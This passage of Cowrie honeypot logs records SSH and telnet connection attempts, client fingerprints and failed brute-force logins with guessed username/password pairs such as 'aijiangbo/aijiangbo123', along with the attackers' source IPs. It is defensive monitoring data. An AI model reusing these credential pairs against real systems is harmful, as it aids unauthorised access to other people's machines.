01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:29.023392Z","src_ip":"159.203.92.129","session":"586f0a810d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aifive","password":"aifive","message":"login attempt [aifive/aifive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:29.073481Z","src_ip":"159.203.92.129","session":"586f0a810d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:30.079743Z","src_ip":"159.203.92.129","session":"586f0a810d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54140,"dst_ip":"159.203.135.109","dst_port":22,"session":"a536bb7c91a0","protocol":"ssh","message":"New connection: 159.203.92.129:54140 (159.203.135.109:22) [session: a536bb7c91a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:11.488200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:11.492291Z","src_ip":"159.203.92.129","session":"a536bb7c91a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:11.496988Z","src_ip":"159.203.92.129","session":"a536bb7c91a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiha","password":"123456","message":"login attempt [aiha/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:11.509445Z","src_ip":"159.203.92.129","session":"a536bb7c91a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:12.514561Z","src_ip":"159.203.92.129","session":"a536bb7c91a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011260509491,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:16.919181Z","src_ip":"195.216.185.169","session":"00b18ff39012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160908699036,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:18.308296Z","src_ip":"195.216.185.169","session":"9e4bc7722276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":48296,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d70cdc717a","protocol":"telnet","message":"New connection: 195.216.185.169:48296 (10.17.0.5:23) [session: 77d70cdc717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:19.967662Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":48448,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2255fa5f0c","protocol":"telnet","message":"New connection: 195.216.185.169:48448 (10.17.0.5:23) [session: ab2255fa5f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:25.531571Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40902,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a354f43734b","protocol":"ssh","message":"New connection: 159.203.92.129:40902 (159.203.135.109:22) [session: 9a354f43734b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:54.112348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:54.116531Z","src_ip":"159.203.92.129","session":"9a354f43734b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:54.120375Z","src_ip":"159.203.92.129","session":"9a354f43734b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiha","password":"aiha","message":"login attempt [aiha/aiha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:54.131153Z","src_ip":"159.203.92.129","session":"9a354f43734b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:14:55.138053Z","src_ip":"159.203.92.129","session":"9a354f43734b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34798,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e3cfb2914cd","protocol":"ssh","message":"New connection: 159.203.92.129:34798 (159.203.135.109:22) [session: 7e3cfb2914cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:15:37.026567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:15:37.030917Z","src_ip":"159.203.92.129","session":"7e3cfb2914cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:15:37.035183Z","src_ip":"159.203.92.129","session":"7e3cfb2914cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aijiangbo","password":"123","message":"login attempt [aijiangbo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:15:37.044523Z","src_ip":"159.203.92.129","session":"7e3cfb2914cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:15:38.050317Z","src_ip":"159.203.92.129","session":"7e3cfb2914cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00998544692993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:19.977506Z","src_ip":"195.216.185.169","session":"77d70cdc717a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40132,"dst_ip":"159.203.135.109","dst_port":22,"session":"1adfa4886928","protocol":"ssh","message":"New connection: 159.203.92.129:40132 (159.203.135.109:22) [session: 1adfa4886928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:21.053690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:21.059483Z","src_ip":"159.203.92.129","session":"1adfa4886928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:21.064029Z","src_ip":"159.203.92.129","session":"1adfa4886928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aijiangbo","password":"123456","message":"login attempt [aijiangbo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:21.076830Z","src_ip":"159.203.92.129","session":"1adfa4886928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:22.083678Z","src_ip":"159.203.92.129","session":"1adfa4886928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181722640991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:25.533099Z","src_ip":"195.216.185.169","session":"ab2255fa5f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":56062,"dst_ip":"10.17.0.5","dst_port":23,"session":"5872b7b78b3a","protocol":"telnet","message":"New connection: 195.216.185.169:56062 (10.17.0.5:23) [session: 5872b7b78b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:16:26.928758Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47414,"dst_ip":"159.203.135.109","dst_port":22,"session":"15a779b942c5","protocol":"ssh","message":"New connection: 159.203.92.129:47414 (159.203.135.109:22) [session: 15a779b942c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:06.622568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:06.627662Z","src_ip":"159.203.92.129","session":"15a779b942c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:06.632336Z","src_ip":"159.203.92.129","session":"15a779b942c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aijiangbo","password":"aijiangbo","message":"login attempt [aijiangbo/aijiangbo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:06.644047Z","src_ip":"159.203.92.129","session":"15a779b942c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:07.651462Z","src_ip":"159.203.92.129","session":"15a779b942c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37430,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb08116b829d","protocol":"ssh","message":"New connection: 159.203.92.129:37430 (159.203.135.109:22) [session: eb08116b829d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:49.202324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:49.206732Z","src_ip":"159.203.92.129","session":"eb08116b829d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:49.211070Z","src_ip":"159.203.92.129","session":"eb08116b829d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aijiangbo","password":"aijiangbo123","message":"login attempt [aijiangbo/aijiangbo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:49.224075Z","src_ip":"159.203.92.129","session":"eb08116b829d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:17:50.229740Z","src_ip":"159.203.92.129","session":"eb08116b829d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00730228424072,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:26.935920Z","src_ip":"195.216.185.169","session":"5872b7b78b3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":38888,"dst_ip":"10.17.0.5","dst_port":23,"session":"017f276f3bd4","protocol":"telnet","message":"New connection: 195.216.185.169:38888 (10.17.0.5:23) [session: 017f276f3bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:18:27.388695Z"}
